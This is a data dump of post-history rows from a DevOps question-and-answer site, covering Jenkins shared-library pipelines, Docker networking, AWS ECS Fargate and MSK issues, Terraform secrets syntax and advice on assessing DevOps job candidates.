  <row Id="35201" PostHistoryTypeId="5" PostId="9271" RevisionGUID="3e963b19-1a91-4488-88b0-f5112ca857a3" CreationDate="2020-05-04T05:20:11.117" UserId="4852" Comment="correct some typos" Text="I agree with [Omri][1] that you are heading the wrong way. I would recommend using a [shared library][2] which implements the pipeline. You would then have a simple Jenkins file which looks all the same. See https://jenkins.io/blog/2017/10/02/pipeline-templates-with-shared-libraries/&#xD;&#xA;&#xD;&#xA;Let's say you have a shared library which contains a `vars/commonpipeline.groovy` which contains something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def call(body) {&#xD;&#xA;    // evaluate the body block, and collect configuration into the object&#xD;&#xA;    pipelineParams= [:]&#xD;&#xA;    body.resolveStrategy = Closure.DELEGATE_FIRST&#xD;&#xA;    body.delegate = pipelineParams&#xD;&#xA;    body()&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            label pipelineParams.nodes&#xD;&#xA;        }&#xD;&#xA;        options {&#xD;&#xA;            buildDiscarder(logRotator(artifactNumToKeepStr: '1', numToKeepStr: '10'))&#xD;&#xA;            disableConcurrentBuilds()&#xD;&#xA;            timestamps()&#xD;&#xA;            timeout(time: pipelineParams.timeout, unit: 'MINUTES')&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stages {&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    //TO SOMETHING&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then you can have a `Jenkinsfile` in your dev project which loads the library and uses the common pipeline like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;import org.apache.commons.io.FileUtils&#xD;&#xA;library identifier: 'shared-pipeline-library@master', retriever: modernSCM(&#xD;&#xA;  [$class: 'GitSCMSource',&#xD;&#xA;       remote: 'https://bitbucket/jenkins/hared-pipeline-library.git',&#xD;&#xA;       credentialsId: 'bitbucket.service.user'&#xD;&#xA;  ])&#xD;&#xA;&#xD;&#xA;commonpipeline {&#xD;&#xA;    nodes     = 'BUILD' /* label of jenkins nodes*/&#xD;&#xA;    timeout   = '60'&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/17225/omri-spector&#xD;&#xA;  [2]: https://jenkins.io/doc/book/pipeline/shared-libraries/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35202" PostHistoryTypeId="2" PostId="11506" RevisionGUID="dadaae9d-8b16-4503-a286-c1312f431c0d" CreationDate="2020-05-04T07:50:47.537" UserId="22081" Text="We're(a software team) currently trying to hire a DevOps Engineer.&#xD;&#xA;&#xD;&#xA;We have an assessment for Software Developer candidates and we're currently evaulating the idea of having an assessment for our DevOps Engineer candidates. Since we have not hired DevOps people before(and barely know a few) it would help us greatly.&#xD;&#xA;&#xD;&#xA;What would be your advice ? &#xD;&#xA;If you support there should be an assessment, then what would be the content ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35203" PostHistoryTypeId="1" PostId="11506" RevisionGUID="dadaae9d-8b16-4503-a286-c1312f431c0d" CreationDate="2020-05-04T07:50:47.537" UserId="22081" Text="Should I give an assessment to DevOps Candidate" ContentLicense="CC BY-SA 4.0" />
  <row Id="35204" PostHistoryTypeId="3" PostId="11506" RevisionGUID="dadaae9d-8b16-4503-a286-c1312f431c0d" CreationDate="2020-05-04T07:50:47.537" UserId="22081" Text="&lt;project-management&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35205" PostHistoryTypeId="6" PostId="11291" RevisionGUID="a96cb451-a4f7-46e6-834b-5bd286358e2b" CreationDate="2020-05-04T08:35:46.820" UserId="8125" Comment="add new tag to reference the Google Cloud service in question" Text="&lt;google-cloud-platform&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35206" PostHistoryTypeId="24" PostId="11291" RevisionGUID="a96cb451-a4f7-46e6-834b-5bd286358e2b" CreationDate="2020-05-04T08:35:46.820" Comment="Proposed by 8125 approved by 739, 20392 edit id of 1199" ContentLicense="CC BY-SA 4.0" />
  <row Id="35207" PostHistoryTypeId="2" PostId="11507" RevisionGUID="45951eb2-2053-454e-83ca-4399b2694a34" CreationDate="2020-05-04T09:01:30.123" UserId="22084" Text="If you run `docker run --rm -it alpine:3.7 /bin/sh`, created docker container will use default `bridge` network.&#xD;&#xA;&#xD;&#xA;You can see the properties of this network using the following command: `docker network inspect bridge`. You can see there to which host interface (usually `docker0`) the network is associated and also what is the subnet for this network (usually `172.17.0.0/16`).&#xD;&#xA;&#xD;&#xA;Additionally, if you run `docker run --rm -it alpine:3.7 ip addr` command, you should see the IP address of your container, which should be part of previously mentioned subnet.&#xD;&#xA;&#xD;&#xA;Then, Docker by default creates NAT iptables rules, which allows the containers to communicate with outside world (as the container IP address is not known to the internet). You can see the rules using `sudo iptables -t nat -nvL POSTROUTING` command. It should look similar to:&#xD;&#xA;```&#xD;&#xA;Chain POSTROUTING (policy ACCEPT 144K packets, 15M bytes)&#xD;&#xA; pkts bytes target     prot opt in     out     source               destination&#xD;&#xA;  392 75916 MASQUERADE  all  --  *      !docker0  172.17.0.0/16        0.0.0.0/0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Finally, for your container, there is no difference, if you try to reach remote site of your VPN or the internet, as the container only knows how to reach Docker network. You can see that using `docker run --rm -it alpine:3.7 ip r` command:&#xD;&#xA;```&#xD;&#xA;default via 172.17.0.1 dev eth0&#xD;&#xA;172.17.0.0/16 dev eth0 scope link  src 172.17.0.2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So when traffic from the container goes via default route, it hits host routing table (I'm not 100% sure if this is right), it is being routed to your tunnel and then iptables NAT rule applies, changing the source IP of your traffic to IP of your end of the tunnel, so returning traffic will come back over the tunnel as well and then back to your container." ContentLicense="CC BY-SA 4.0" />
  <row Id="35208" PostHistoryTypeId="2" PostId="11508" RevisionGUID="35da9732-05cf-43d5-b728-c9e87ea37564" CreationDate="2020-05-04T09:10:55.233" UserId="21993" Text="When creating a new AWS ECS service using a Fargate task, in the AWS Console wizard, it fails with the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Failed creation of Service&#xD;&#xA;Service creation failed: The specified platform does not satisfy the task definition’s required capabilities.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The service launch type is set to FARGATE and the Platform version is set to LATEST. The task is attempting to mount an AWS EFS filesystem for persistent storage (introduced in version 1.4.0 of the platform)." ContentLicense="CC BY-SA 4.0" />
  <row Id="35209" PostHistoryTypeId="1" PostId="11508" RevisionGUID="35da9732-05cf-43d5-b728-c9e87ea37564" CreationDate="2020-05-04T09:10:55.233" UserId="21993" Text="In what way does a new ECS Fargate service not satisfy the task definition's required capabilities?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35210" PostHistoryTypeId="3" PostId="11508" RevisionGUID="35da9732-05cf-43d5-b728-c9e87ea37564" CreationDate="2020-05-04T09:10:55.233" UserId="21993" Text="&lt;amazon-ecs&gt;&lt;fargate&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35211" PostHistoryTypeId="2" PostId="11509" RevisionGUID="13782068-b3b2-49f9-ba23-24ed70a4f876" CreationDate="2020-05-04T09:10:55.233" UserId="21993" Text="This is a bug in the AWS Console (as per time of writing). Set the service platform version explicitly to `1.4.0`." ContentLicense="CC BY-SA 4.0" />
  <row Id="35212" PostHistoryTypeId="5" PostId="11506" RevisionGUID="70914ace-633c-4b4d-8ad3-582e3f471a02" CreationDate="2020-05-04T09:31:32.433" UserId="354" Comment="fixed typos" Text="We're a software team currently trying to hire a DevOps Engineer.&#xD;&#xA;&#xD;&#xA;We have an assessment for Software Developer candidates and we're currently evaluating the idea of having an assessment for our DevOps Engineer candidates. Since we have not hired DevOps people before and barely know a few, it would help us greatly.&#xD;&#xA;&#xD;&#xA;What would be your advice ? &#xD;&#xA;If you support there should be an assessment, then what would be the content ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35213" PostHistoryTypeId="2" PostId="11510" RevisionGUID="e8883df4-6404-4dc7-b67f-8f3953f9d6b9" CreationDate="2020-05-04T09:43:28.923" UserId="22084" Text="According to the [documentation][1], you should change your secrets handling to following syntax: &#xD;&#xA;```diff&#xD;&#xA;      secrets = [&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;          secret_id   = docker_secret.mysql_db_password.id&#xD;&#xA;          secret_name = docker_secret.mysql_db_password.name&#xD;&#xA;          file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;          secret_id   = docker_secret.mysql_root_password.id&#xD;&#xA;          secret_name = docker_secret.mysql_root_password.name&#xD;&#xA;          file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So you pass the actual secret ID to the service object and not the Terraform resource reference as a string. The only difference between Terraform 0.11 and 0.12 code is, that in 0.12 you can remove the interpolation syntax (so `${}`), if you don't actually use it, as you only pass the attribute of other resource, with no additional formatting.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/docker/r/service.html#advanced&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35214" PostHistoryTypeId="5" PostId="11506" RevisionGUID="ee86f7ca-5803-4960-94fe-1937228de2b5" CreationDate="2020-05-04T10:03:38.387" UserId="22081" Comment="provide details" Text="We're a software team currently trying to hire a DevOps Engineer.&#xD;&#xA;&#xD;&#xA;We have an assessment for Software Developer candidates and we're currently evaluating the idea of having an assessment for our DevOps Engineer candidates. Since we have not hired DevOps people before and barely know a few, it would help us greatly.&#xD;&#xA;&#xD;&#xA;What would be your advice ? &#xD;&#xA;If you support there should be an assessment, then what would be the content ?&#xD;&#xA;&#xD;&#xA;### EDIT(Additional Info):&#xD;&#xA;-  We need to hire a DevOps Engineer to bootstrap our all DevOps process/culture.&#xD;&#xA;-  We have more than 100 servers. Around 20 different apps on them.&#xD;&#xA;&#xD;&#xA;- We want him/her to;&#xD;&#xA;&#xD;&#xA; -  Install a main devops tool like jenkins or teamcity &#xD;&#xA; -  Build the pipelines for all this apps and servers&#xD;&#xA; -  CIntegration, CDelivery, CDeployment depending on what app does&#xD;&#xA; -  help migrate to linux and/or docker&#xD;&#xA;&#xD;&#xA;### About assessment&#xD;&#xA;- It must be about building and deploying a few apps interacting with each other to diifferent targets with different configurations.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35218" PostHistoryTypeId="5" PostId="11509" RevisionGUID="22118282-2df9-46fe-be9d-532c5632d61d" CreationDate="2020-05-04T12:45:27.587" UserId="21993" Comment="added 9 characters in body" Text="This is probably a bug in the AWS Console (as per time of writing). Set the service platform version explicitly to `1.4.0`." ContentLicense="CC BY-SA 4.0" />
  <row Id="35219" PostHistoryTypeId="2" PostId="11512" RevisionGUID="7e86470c-726f-4a2c-8604-d6a33939e7d0" CreationDate="2020-05-04T12:53:53.183" UserId="22087" Text="You can check out AWS Fargate, I've just used it for a similar use case.&#xD;&#xA;&#xD;&#xA;Setup:&#xD;&#xA;&#xD;&#xA;Jobs are posted to an SQS queue where a scheduler lambda picks them up and launches an AWS Fargate task.&#xD;&#xA;&#xD;&#xA;Caveats:&#xD;&#xA;&#xD;&#xA; * Lambda handles the SQS messages so you can't hand over the messages to Fargate (Lambda will auto-delete the messages from the queue once the lambda returns successfully), instead you'll need to handle retries via a separate lambda that gets notified whenever a task ends.&#xD;&#xA; * Fargate only supports up to 4 vCPUs&#xD;&#xA; * You need to pass any data to the container either via environment variables or as command line arguments&#xD;&#xA;&#xD;&#xA;Launch times are not as fast as lambda, but much better than Batch and EC2 - I typically get my containers within 30 seconds of the lambda launching them.&#xD;&#xA;&#xD;&#xA;Dead-letter/retry handling is a bit of a nuisance, but it's not that hard to implement as long as your process is well-behaved. You can easily get the process exit status from the API once the task has finished and you can store the number of retries as a tag on the task since you'll be launching a new task for each retry.&#xD;&#xA;&#xD;&#xA;The scheduler and retry handler should be fairly trivial to write and if you need to pass larger amounts of data you can store it on S3 and send the location as an argument to your container.&#xD;&#xA;&#xD;&#xA;A similar option - if you don't mind paying for the extra, unused capacity is to use ECS instead of Fargate and have unused capacity in the cluster so you can spawn new containers more or less instantly. This removes the limit on vCPU but you'll instead need to manage the cluster size (can be done via Autoscaling) and pay for the unused capacity." ContentLicense="CC BY-SA 4.0" />
  <row Id="35220" PostHistoryTypeId="5" PostId="11509" RevisionGUID="186f0345-61ac-4226-a733-b1348f6c871f" CreationDate="2020-05-04T13:24:25.043" UserId="21993" Comment="added 20 characters in body" Text="This is probably a bug in the AWS Console (as per time of writing). Set the service platform version explicitly to `1.4.0` (instead of LATEST)." ContentLicense="CC BY-SA 4.0" />
  <row Id="35221" PostHistoryTypeId="5" PostId="11508" RevisionGUID="6d64232e-0405-42ca-a596-b2731374d54a" CreationDate="2020-05-04T13:24:50.137" UserId="21993" Comment="added 4 characters in body" Text="When creating a new AWS ECS service using a Fargate task, in the AWS Console wizard, it fails with the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Failed creation of Service&#xD;&#xA;Service creation failed: The specified platform does not satisfy the task definition’s required capabilities.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The service launch type is set to `FARGATE` and the Platform version is set to `LATEST`. The task is attempting to mount an AWS EFS filesystem for persistent storage (introduced in version 1.4.0 of the platform)." ContentLicense="CC BY-SA 4.0" />
  <row Id="35222" PostHistoryTypeId="5" PostId="11497" RevisionGUID="f67f8043-0b9e-469a-b0de-e608ac713564" CreationDate="2020-05-04T13:54:04.543" UserId="22062" Comment="deleted 1 character in body" Text="Keep learning other requirements for devops engineering. such as:&#xD;&#xA;&#xD;&#xA;**Operating System concepts (Process management, threads and concurrency, POSIX basics, I/O management, file systems, memory storage, ...)**&#xD;&#xA;&#xD;&#xA;as a devops engineer you need to know everything about the operating systems and how they work. to know everything about the operating systems, first you need to be a system administrator or sysadmin.&#xD;&#xA;&#xD;&#xA;**managing servers**&#xD;&#xA;&#xD;&#xA;server performance management helps in increasing agility and optimizes the performance of both physical and virtual servers.&#xD;&#xA;&#xD;&#xA;**service management**&#xD;&#xA;&#xD;&#xA;IT service management a cultural mindset to ensure that the desired outcome for the business is achieved. It incorporates principles and practices from various management approaches, such as lean manufacturing, organizational change management, system analysis and risk management.&#xD;&#xA;&#xD;&#xA;**bash scripting (vim, emacs, ...)**&#xD;&#xA;&#xD;&#xA;every sysadmin needs to have a good knowledge and experience in bash scripting. &#xD;&#xA;&#xD;&#xA;**working with terminals**&#xD;&#xA;&#xD;&#xA;every sysadmin needs to live entirely on the command line.&#xD;&#xA;&#xD;&#xA;**web servers (nginx, apache,...)**&#xD;&#xA;&#xD;&#xA;every sysadmin needs to know how servers work and how web servers send data.&#xD;&#xA;&#xD;&#xA;**CI/CD tools (jenkins, circle ci,...)**&#xD;&#xA;&#xD;&#xA;automation and automated testing improves agility and speed in scale.&#xD;&#xA;&#xD;&#xA;**infrascructure as code (docker, ansible, kubernetes,...)**&#xD;&#xA;&#xD;&#xA;IaC can be a key attribute of enabling best practices in devops.&#xD;&#xA;&#xD;&#xA;**cloud services (aws, azure, google cloud platform, heroku)**&#xD;&#xA;&#xD;&#xA;***Here's the complete 2020 devops engineer roadmap:*** https://roadmap.sh/devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="35223" PostHistoryTypeId="2" PostId="11513" RevisionGUID="7a628b27-251e-4562-ac4f-9d2b43fdb1b1" CreationDate="2020-05-04T14:08:35.357" UserId="19963" Text="Yes, there absolutely should be an assessment, however it would be a good idea to agree upfront with one of the few DevOps people you know to validate the content and results.&#xD;&#xA;&#xD;&#xA;Regarding the contents of the assessment, there are some questions still remaining after your edits. Key one is how your operations are done. Possible options are: you already have someone doing your server infrastructure and operations and looking for a purely CI/CD person, or you do not have good operations support (i.e. developers doing that and you're unhappy) and you need DevOps person to do server management too. Note, that if it's the later case, you'd probably need more than person over time but you need somebody senior to start with.&#xD;&#xA;&#xD;&#xA;Note, that for larger organizations you'd find more specialization within DevOps (i.e. things like Release Management, DevSecOps and others), but for smaller companies those two - CI/CD vs Infra Operations are two main ones in my experience. You still need to keep those differences in mind if you're considering taking someone from a larger company.&#xD;&#xA;&#xD;&#xA;Now, after answering those questions, you need to first establish the seniority level of a person you're looking to hire. If it's your first DevOps person - you would probably want somebody more senior, but it depends on other people in your existing team. Next you scope your assessment to the on-job tasks. My take - always give take-at-home assignments, I usually give it to candidates over weekend and I make sure they take no more than 3-4 hours.&#xD;&#xA;&#xD;&#xA;For CI/CD case you may ask them for a simple CI pipeline in their tool of choice, built from scratch over some sample project. You should add extra questions about failure handling, parallelizing, caching, handling of automation tests.&#xD;&#xA;&#xD;&#xA;For CI/CD + operations case you should add tasks about shell scripting, cloud security, terraform.&#xD;&#xA;&#xD;&#xA;Also for the first DevOps / senior person it's always a good idea to add some questions about interacting with other teams. I.e. what developers would need to do and how the interaction process with them should be built.&#xD;&#xA;&#xD;&#xA;Again, start with one of the few DevOps people you know and get them onboard as a consultant to assess and hire that first person, otherwise you're taking a lot of chances there - and DevOps is a pretty sensitive part of your business." ContentLicense="CC BY-SA 4.0" />
  <row Id="35224" PostHistoryTypeId="2" PostId="11514" RevisionGUID="712aae7c-0341-4dcf-aaa7-8eee259f5cbe" CreationDate="2020-05-04T14:21:43.433" UserId="18447" Text="The AWS ECS First Run Wizard provides no option for choosing the 'Deployment type' of the ECS Service:&#xD;&#xA;![First Run Wizard][2]&#xD;&#xA;&#xD;&#xA;Whereas the ECS Service creation screen does:&#xD;&#xA;![ECS Service][1]&#xD;&#xA;&#xD;&#xA;There's also no way to edit an ECS Service created via the First Run Wizard to change the Deployment  Type.&#xD;&#xA;&#xD;&#xA;**How do I set the Deployment type of an ECS Service created via the First Run Wizard?**&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Or2wy.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/mfV8T.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35225" PostHistoryTypeId="1" PostId="11514" RevisionGUID="712aae7c-0341-4dcf-aaa7-8eee259f5cbe" CreationDate="2020-05-04T14:21:43.433" UserId="18447" Text="How to set Deployment Type using ECS First Run Wizard" ContentLicense="CC BY-SA 4.0" />
  <row Id="35226" PostHistoryTypeId="3" PostId="11514" RevisionGUID="712aae7c-0341-4dcf-aaa7-8eee259f5cbe" CreationDate="2020-05-04T14:21:43.433" UserId="18447" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35228" PostHistoryTypeId="5" PostId="6807" RevisionGUID="742baa49-6091-491a-9eb7-c5d017cb1043" CreationDate="2020-05-04T16:50:29.630" UserId="-1" Comment="Update links for change logs" Text="Every Kubernetes release has an **External Dependencies** section in the respective Changelog. E.g.:&#xD;&#xA;&#xD;&#xA;[CHANGELOG-1.14][1]:&#xD;&#xA;&#xD;&#xA;&gt; The list of validated docker versions has changed. 1.11.1 and 1.12.1&#xD;&#xA;&gt; have been removed. The current list is 1.13.1, 17.03, 17.06, 17.09,&#xD;&#xA;&gt; 18.06, 18.09.&#xD;&#xA;&#xD;&#xA;[CHANGELOG-1.13][2]:&#xD;&#xA;&#xD;&#xA;&gt; The list of validated docker versions remain unchanged at 1.11.1,&#xD;&#xA;&gt; 1.12.1, 1.13.1, 17.03, 17.06, 17.09, 18.06 since Kubernetes 1.12.&#xD;&#xA;&#xD;&#xA;[CHANGELOG-1.12][3]:&#xD;&#xA;&#xD;&#xA;&gt; The list of validated docker versions was updated to 1.11.1, 1.12.1,&#xD;&#xA;&gt; 1.13.1, 17.03, 17.06, 17.09, 18.06.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*and so on...*&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.14.md#external-dependencies&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.13.md#external-dependencies&#xD;&#xA;  [3]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.12.md#external-dependencies" ContentLicense="CC BY-SA 4.0" />
  <row Id="35229" PostHistoryTypeId="24" PostId="6807" RevisionGUID="742baa49-6091-491a-9eb7-c5d017cb1043" CreationDate="2020-05-04T16:50:29.630" Comment="Proposed by 71.198.207.29|23856c27-ffac-44bf-a357-d52456cc614c approved by 13139 edit id of 1200" ContentLicense="CC BY-SA 4.0" />
  <row Id="35230" PostHistoryTypeId="5" PostId="11514" RevisionGUID="a13b5d00-b8d6-4fbe-a0fc-5f643ade16a9" CreationDate="2020-05-04T18:00:37.980" UserId="18447" Comment="Edited to clarify that the second screenshot shows what's missing from the first" Text="The AWS ECS First Run Wizard provides no option for choosing the 'Deployment type' of the ECS Service:&#xD;&#xA;![First Run Wizard][2]&#xD;&#xA;&#xD;&#xA;Whereas the ECS Service creation screen does:&#xD;&#xA;![ECS Service][1]&#xD;&#xA;&#xD;&#xA;Why does the First Run Wizard not allow for setting the same properties as the regular ECS creation screen does?  There's also no way to edit an ECS Service created via the First Run Wizard to change the Deployment  Type.&#xD;&#xA;&#xD;&#xA;**How do I set the Deployment type of an ECS Service created via the First Run Wizard?**&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Or2wy.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/mfV8T.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35231" PostHistoryTypeId="2" PostId="11516" RevisionGUID="8d3e6d87-6b57-43e2-bd04-8d48c2965234" CreationDate="2020-05-04T19:16:24.100" UserId="210" Text="Yes. Although DevOps is a culture and not a role, one should assess the mindset and technical skills of a candidate.&#xD;&#xA;&#xD;&#xA;At my previous work we conducted two interviews. The first one was a conversation about the mindset. If my colleague and I were positive then we offered the candidate the possibility to prepare a demo for the second interview. He or she could choose to demonstrate an autodeploy or the candidate could come up with another proposal.&#xD;&#xA;&#xD;&#xA;During the second and technical interview, the candidate had to bring his or her laptop and demonstrate what he or she prepared. During the demo, my colleague and I were asking questions. By doing this we got an impression about the technical knowledge as well. " ContentLicense="CC BY-SA 4.0" />
  <row Id="35232" PostHistoryTypeId="5" PostId="11516" RevisionGUID="defc0318-eef6-4666-b8f1-0fa75682a2bf" CreationDate="2020-05-04T19:24:16.137" UserId="210" Comment="added 611 characters in body" Text="Yes. Although DevOps is a culture and not a role, one should assess the mindset and technical skills of a candidate.&#xD;&#xA;&#xD;&#xA;At my previous work we conducted two interviews. The first one was a conversation about the mindset. If my colleague and I were positive then we offered the candidate the possibility to prepare a demo for the second interview. He or she could choose to demonstrate an autodeploy or the candidate could come up with another proposal.&#xD;&#xA;&#xD;&#xA;During the second and technical interview, the candidate had to bring his or her laptop and demonstrate what he or she prepared. During the demo, my colleague and I were asking questions. By doing this we got an impression about the technical knowledge as well.&#xD;&#xA;&#xD;&#xA;&gt; We need to hire a DevOps Engineer to bootstrap our all DevOps&#xD;&#xA;&gt; process/culture&#xD;&#xA;&#xD;&#xA;In my opinion, your current Developers should deploy the code they created, themselves. &quot;You build it, you run it.&quot;. Although it can be hard to get started with CI, the documentation of various platforms like, Gitlab, Bitbucket, Jenkins is comprehensive and if they are really technical, they can implement it. If you hire some to this, you will create silos and it will be a negative effect on a DevOps culture. It will promote a &quot;throw it over the wall mindset&quot; and &quot;What I am?&quot;, &quot;You are IT of Ops&quot; mindset.&#xD;&#xA;&#xD;&#xA;The more I think about the question, the more I think you just should hire a freelancer for a couple of sprints that motivates and instructs developers to implement the pipelines themselves. Once a CI is running will, it can be applied to all projects and the person or freelancer you are trying to hire will be superfluous." ContentLicense="CC BY-SA 4.0" />
  <row Id="35233" PostHistoryTypeId="2" PostId="11517" RevisionGUID="50ef721d-1ab5-48c8-88c7-8ef828eaac03" CreationDate="2020-05-04T19:26:59.880" UserId="22093" Text="I would expect it to work like `az login` and open up a new tab in default browser. But somehow it doesn't work like that. I think the fix must come from azure CLI.&#xD;&#xA;&#xD;&#xA;Temporarily, For `az aks browse` you can setup an environment variable on WSL.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;export BROWSER=&quot;/mnt/c/Program Files (x86)/Google/Chrome/Application/chrome.exe&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In this case next when I run `az aks browse` it will open up the dashboard in new chrome tab.&#xD;&#xA;&#xD;&#xA;You can use this variable to use your favorite browser. I would also add this variable to `.bashrc` or profile to be added on every session." ContentLicense="CC BY-SA 4.0" />
  <row Id="35234" PostHistoryTypeId="5" PostId="11516" RevisionGUID="8c9c0c1a-6e50-428f-983a-29f1b4d0f809" CreationDate="2020-05-04T20:12:15.060" UserId="210" Comment="deleted 30 characters in body" Text="Yes. Although DevOps is a culture and not a role, one should assess the mindset and technical skills of a candidate.&#xD;&#xA;&#xD;&#xA;At my previous work we conducted two interviews. The first one was a conversation about the mindset. If my colleague and I were positive then we offered the candidate the possibility to prepare a demo for the second interview. He or she could choose to demonstrate an autodeploy or the candidate could come up with another proposal.&#xD;&#xA;&#xD;&#xA;During the second and technical interview, the candidate had to bring his or her laptop and demonstrate what he or she prepared. During the demo, my colleague and I were asking questions. By doing this we got an impression about the technical knowledge as well.&#xD;&#xA;&#xD;&#xA;&gt; We need to hire a DevOps Engineer to bootstrap our all DevOps&#xD;&#xA;&gt; process/culture&#xD;&#xA;&#xD;&#xA;In my opinion, your current Developers should deploy the code they created, themselves. &quot;You build it, you run it.&quot;. Although it can be hard to get started with CI, the documentation of various platforms like, Gitlab, Bitbucket, Jenkins is comprehensive and they can implement it. If you hire some person for this, you will create silos and it will be a negative effect on a DevOps culture. It will promote a &quot;throw it over the wall mindset&quot; and &quot;What I am?&quot;, &quot;You are IT of Dev&quot; mindset.&#xD;&#xA;&#xD;&#xA;The more I think about the question, the more I think you just should hire a freelancer for a couple of sprints that motivates and instructs developers to implement the pipelines themselves. Once a CI is running will, it can be applied to all projects and the person or freelancer you are trying to hire will be superfluous." ContentLicense="CC BY-SA 4.0" />
  <row Id="35235" PostHistoryTypeId="2" PostId="11518" RevisionGUID="29f5fc28-915e-4237-b483-f21363263a9b" CreationDate="2020-05-04T20:46:14.943" UserId="210" Text="**DTAP**&#xD;&#xA;&#xD;&#xA;As monitoring is part of production it should be part of DTAP as well. This implies monitoring in Development, Testing, Acceptance and Production as well. If somebody modifies a check in production and it will silence some check and if the team does not get reported that there are issues then the customer will be impacted and that could be a huge problem. In short, if monitoring is part of production it should be applied to all stages of DTAP as well.&#xD;&#xA;&#xD;&#xA;**Testing**&#xD;&#xA;&#xD;&#xA;If custom scripts are used in splunk and these are written in Python or some other language, then you should also apply unit tests and integration tests. In most monitoring systems, a 0, 1, 2 and 3 exit code are checked so this should also be covered in the tests. If a monitoring is written in bash, one could use BATS and Powershell can be tested as well with Pester. &#xD;&#xA;&#xD;&#xA;Why testing these scripts? Again, same reason as depicted in the DTAP section. Imagine that somebody breaks some monitoring script by introducing a typo and you do not get notified, then this could have a huge impact on the customer and also on the team. Imagine that you have to debug for a couple of days because some script is not working well, while that could have been prevented. So I advocate to apply unit tests, integration tests and even CI for this &quot;simple&quot; monitoring scripts." ContentLicense="CC BY-SA 4.0" />
  <row Id="35236" PostHistoryTypeId="2" PostId="11519" RevisionGUID="d365a570-3fd9-4948-aa23-81c74d8e41dd" CreationDate="2020-05-04T21:24:37.547" UserId="9938" Text="So, my workaround looks like this.&#xD;&#xA;&#xD;&#xA;Be careful:&#xD;&#xA;&#xD;&#xA;* parameters in Jenkins UI will be updated only after **successful** build,&#xD;&#xA;* maybe it is better idea to use `defaultValue: true` for `skip_all_steps` in your particular case&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;    parameters {&#xD;&#xA;        booleanParam(name: 'skip_all_steps', defaultValue: false, description: 'When changed parameters in pipeline, just update code from git')&#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;        stage('Stage1'){&#xD;&#xA;            when { not { expression { return params.skip_all_steps } } }&#xD;&#xA;            steps {&#xD;&#xA;                …&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        …&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35238" PostHistoryTypeId="2" PostId="11520" RevisionGUID="f97f7221-5419-497d-910c-503a88e3cd51" CreationDate="2020-05-04T23:45:31.230" UserId="2708" Text="I cannot back it up with links to the documentation, but my strong assumption is that it is not possible. AWS MSK forces cross availability-zone deployments. (In most cases, it is a good idea, anyway. I understand that the scenario in my question is not so common.)&#xD;&#xA;&#xD;&#xA;The only option to stay in the same availability zone is to use only one broker. However, it is not recommended to run Kafka with a single broker. Therefore it is not an attractive option." ContentLicense="CC BY-SA 4.0" />
